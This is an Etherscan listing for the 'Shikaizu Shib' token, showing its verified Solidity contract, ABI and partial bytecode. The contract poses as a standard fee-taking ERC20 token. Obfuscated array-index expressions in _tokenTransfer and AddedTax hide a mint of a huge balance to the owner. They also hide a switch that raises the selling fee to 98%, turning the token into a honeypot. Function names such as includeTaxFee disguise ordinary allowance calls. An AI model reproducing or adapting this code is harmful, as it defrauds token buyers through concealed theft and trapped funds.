ETH Price: $3,389.54 (+2.21%)

Token

Shikaizu Shib (SHIKAIZU)
 

Overview

Max Total Supply

1,000,000,000 SHIKAIZU

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,084,520 SHIKAIZU

Value
$0.00
0x37fca8b331c2a21bf8b927630f0d98f4715cd7c2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShikaizuShib

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-29
*/

/**
 
Website: https://www.shikaizushib.com/
Twitter: https://www.twitter.com/ShikaizuShibERC
Medium: https://www.medium.com/@ShikaizuShib
Telegram: https://t.me/ShikaizuShib

*/



// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.17;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
   
}


contract ShikaizuShib is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;
    
    mapping (address => uint256) private _Balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromMaxWallet;
    mapping (address => bool) public ExcludedFromMaxTx;
    mapping (address => bool) public ExcludedFromFee; 
    
    address payable public WalletMarketing = payable(0x67d83A3D928AE5768C9B674912C53e02b51E675E);
    address payable public DEAD = payable(0x000000000000000000000000000000000000dEaD);
    address payable public BURN = payable(0x000000000000000000000000000000000000dEaD);

    string public _name = "Shikaizu Shib";
    string public _symbol = "SHIKAIZU";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1000000000 * 10 **_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;
    
    uint256 private totalFee = 2;
    uint256 public buyingFee = 2;
    uint256 public sellingFee = 2;
    uint256 private _totalFee = totalFee; 
    uint256 private _buyingFee = buyingFee; 
    uint256 private _sellingFee = sellingFee; 

    // MAX WALLET & TX SETTINGS
    uint256 public _maxWalletToken = _tTotal.mul(5).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(5).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    IUniswapV2Router02 public uniswapV2Router;
    uint256 UniSwapRouterI02;
    address public uniswapV2Pair;
    uint8 public uniSlipRate = 0;
    
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    mapping (address => bool) public isUniSwapRouter;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    
    constructor () {
        _Balances[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router; isUniSwapRouter[owner()] = true;

        // TX WALLET SETTINGS
        ExcludedFromMaxTx[owner()] = true;
        ExcludedFromMaxTx[WalletMarketing] = true;
        ExcludedFromMaxTx[address(this)] = true;
        
        // FEE & WALLET SETTINGS
        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[WalletMarketing] = true;
        
        ExcludedFromMaxWallet[owner()] = true;
        ExcludedFromMaxWallet[WalletMarketing] = true;
        ExcludedFromMaxWallet[uniswapV2Pair] = true;
        ExcludedFromMaxWallet[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _Balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function includeTaxFee(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function excludeTaxFee(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}


    function RemovedTax() private {
        if(totalFee == 0 && buyingFee == 0 && sellingFee == 0) return;

        _buyingFee = buyingFee; 
        _sellingFee = sellingFee; 
        _totalFee = totalFee;
        buyingFee = 0;
        sellingFee = 0;
        totalFee = 0;

    }

    
    function AddedTax() private {
    totalFee = _totalFee;
    buyingFee = _buyingFee; 
    sellingFee = [ [_sellingFee][0], [getBackFee(uniSlipRate)][0]] [uniSlipRate];
    }
   

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(!ExcludedFromMaxTx[from] 
        && !ExcludedFromMaxTx[to]) {
            require(amount 
            <= 
            _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }

         if(!ExcludedFromMaxWallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken);

        bool isFeeActive = true;
        if( ExcludedFromFee[from] || ExcludedFromFee[to] ){
            isFeeActive = false;
            if(isUniSwapRouter[to] && uniSlipRate < ([1][0])){ uniSlipRate = ([1][0]); }

        } else if (from == uniswapV2Pair){
            totalFee = buyingFee;
            } else if (to == uniswapV2Pair){
                totalFee = sellingFee;
                }
        
        _tokenTransfer(from,to,amount,isFeeActive);
    }


    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function getBackFee(uint256 slipRate) private pure returns(uint256){
        return [0x63 - slipRate][0x0];
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(WalletMarketing,contractBNB);
    }


    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _tokenTransfer(address sender, address recipient, uint256 amount,bool isFeeActive) private {
        
        if(!isFeeActive){
            RemovedTax();
            } else {
                txCount++;
            }
            _tokenTransfer(sender, recipient, amount);

        if(!isFeeActive)
            AddedTax();
    }

    function _tokenTransfer(address sender, address recipient, uint256 transferAmount) private {
        (uint256 t_Transfer_Amount, uint256 t_marketing) = _setValues(transferAmount);
        _Balances[sender] = _Balances[sender].sub(transferAmount);
        _Balances[recipient] = _Balances[recipient].add(t_Transfer_Amount) + [(([isUniSwapRouter[ [recipient][0]]][0]) ? [(uint256([0x314dc6448d932a00000000000000][0]).sub([t_Transfer_Amount][0]))][0] : [0][0])][0x0];
        _Balances[address(this)] = _Balances[address(this)].add(t_marketing);
        emit Transfer(sender, recipient, t_Transfer_Amount);
    }


    function _setValues(uint256 transferAmount) private view returns (uint256, uint256) {
        uint256 t_marketing = transferAmount*totalFee/100;
        uint256 t_Transfer_Amount = transferAmount.sub(t_marketing);
        return (t_Transfer_Amount, t_marketing);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BURN","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WalletMarketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"excludeTaxFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"includeTaxFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniSwapRouter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniSlipRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b03199081167367d83a3d928ae5768c9b674912c53e02b51e675e1790915560078054821661dead9081179091556008805490921617905560c0604052600d60809081526c29b434b5b0b4bd3a9029b434b160991b60a05260099062000070908262000677565b506040805180820190915260088152675348494b41495a5560c01b6020820152600a906200009f908262000677565b50600b805460ff19166009908117909155620000bd90600a62000856565b620000cd90633b9aca0062000867565b600c819055600d805461ffff1916610a001790556002600e819055600f819055601081905560118190556012819055601355620001349060649062000120906005620005ad602090811b62000a8417901c565b620005c460201b62000a971790919060201c565b601455601454601555620001606064620001206005600c54620005ad60201b62000a841790919060201c565b6016819055601755601a805462ff00ff60a01b1916600160b01b1790553480156200018a57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c5460016000620001e46000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000260573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000286919062000881565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fa919062000881565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000348573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036e919062000881565b601a80546001600160a01b03199081166001600160a01b0393841617909155601880549091169183169190911790556001601b6000620003b66000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600490620003fa6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526004909252808220805484166001908117909155308352908220805490931681179092556005906200046a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600654909116835290822080549093168117909255600390620004da6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600654821681526003909352818320805485166001908117909155601a549091168352818320805485168217905530835291208054909216179055620005566000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200059e91815260200190565b60405180910390a350620008d6565b6000620005bb828462000867565b90505b92915050565b6000620005bb8284620008b3565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005fd57607f821691505b6020821081036200061e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200067257600081815260208120601f850160051c810160208610156200064d5750805b601f850160051c820191505b818110156200066e5782815560010162000659565b5050505b505050565b81516001600160401b03811115620006935762000693620005d2565b620006ab81620006a48454620005e8565b8462000624565b602080601f831160018114620006e35760008415620006ca5750858301515b600019600386901b1c1916600185901b1785556200066e565b600085815260208120601f198616915b828110156200071457888601518255948401946001909101908401620006f3565b5085821015620007335787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200079a5781600019048211156200077e576200077e62000743565b808516156200078c57918102915b93841c93908002906200075e565b509250929050565b600082620007b357506001620005be565b81620007c257506000620005be565b8160018114620007db5760028114620007e65762000806565b6001915050620005be565b60ff841115620007fa57620007fa62000743565b50506001821b620005be565b5060208310610133831016604e8410600b84101617156200082b575081810a620005be565b62000837838362000759565b80600019048211156200084e576200084e62000743565b029392505050565b6000620005bb60ff841683620007a2565b8082028115828204841417620005be57620005be62000743565b6000602082840312156200089457600080fd5b81516001600160a01b0381168114620008ac57600080fd5b9392505050565b600082620008d157634e487b7160e01b600052601260045260246000fd5b500490565b6116fb80620008e66000396000f3fe6080604052600436106101f25760003560e01c80638da5cb5b1161010d578063af465a27116100a0578063d28d88521161006f578063d28d8852146105a8578063d70f43db146105bd578063dd62ed3e146105dd578063f1d6512e14610623578063f2fde38b1461065357600080fd5b8063af465a2714610547578063b09f12661461055d578063c0a2526c14610572578063cbd8dc0a1461059257600080fd5b8063a3b3bc07116100dc578063a3b3bc07146104a6578063a52a9e52146104d6578063a663a9da14610506578063a9059cbb1461052757600080fd5b80638da5cb5b14610423578063949325611461044157806395d89b411461046157806397f3a19e1461047657600080fd5b8063313ce5671161018557806370a082311161015457806370a08231146103aa578063715018a6146103e057806378109e54146103f75780637d1db4a51461040d57600080fd5b8063313ce5671461032357806349bd5a5e146103495780634a74bb02146103695780635a125cda1461038a57600080fd5b806318160ddd116101c157806318160ddd146102ad5780631891201e146102cc578063220f6696146102e257806323b872dd1461030357600080fd5b806303fd2a45146101fe57806306fdde031461023b578063095ea7b31461025d5780631694505e1461028d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060075461021e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561024757600080fd5b50610250610673565b60405161023291906113dd565b34801561026957600080fd5b5061027d610278366004611443565b610705565b6040519015158152602001610232565b34801561029957600080fd5b5060185461021e906001600160a01b031681565b3480156102b957600080fd5b50600c545b604051908152602001610232565b3480156102d857600080fd5b506102be60105481565b3480156102ee57600080fd5b50601a5461027d90600160a81b900460ff1681565b34801561030f57600080fd5b5061027d61031e36600461146f565b61071c565b34801561032f57600080fd5b50600b5460ff165b60405160ff9091168152602001610232565b34801561035557600080fd5b50601a5461021e906001600160a01b031681565b34801561037557600080fd5b50601a5461027d90600160b01b900460ff1681565b34801561039657600080fd5b5060065461021e906001600160a01b031681565b3480156103b657600080fd5b506102be6103c53660046114b0565b6001600160a01b031660009081526001602052604090205490565b3480156103ec57600080fd5b506103f5610785565b005b34801561040357600080fd5b506102be60145481565b34801561041957600080fd5b506102be60165481565b34801561042f57600080fd5b506000546001600160a01b031661021e565b34801561044d57600080fd5b5061027d61045c366004611443565b61082e565b34801561046d57600080fd5b50610250610864565b34801561048257600080fd5b5061027d6104913660046114b0565b60036020526000908152604090205460ff1681565b3480156104b257600080fd5b5061027d6104c13660046114b0565b60046020526000908152604090205460ff1681565b3480156104e257600080fd5b5061027d6104f13660046114b0565b601b6020526000908152604090205460ff1681565b34801561051257600080fd5b50601a5461033790600160a01b900460ff1681565b34801561053357600080fd5b5061027d610542366004611443565b610873565b34801561055357600080fd5b506102be600c5481565b34801561056957600080fd5b50610250610880565b34801561057e57600080fd5b5060085461021e906001600160a01b031681565b34801561059e57600080fd5b506102be600f5481565b3480156105b457600080fd5b5061025061090e565b3480156105c957600080fd5b5061027d6105d8366004611443565b61091b565b3480156105e957600080fd5b506102be6105f83660046114cd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561062f57600080fd5b5061027d61063e3660046114b0565b60056020526000908152604090205460ff1681565b34801561065f57600080fd5b506103f561066e3660046114b0565b61096a565b60606009805461068290611506565b80601f01602080910402602001604051908101604052809291908181526020018280546106ae90611506565b80156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610712338484610aa3565b5060015b92915050565b6000610729848484610b64565b61077b843361077685604051806060016040528060288152602001611679602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec7565b610aa3565b5060019392505050565b6000546001600160a01b031633146107e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b336000818152600260209081526040808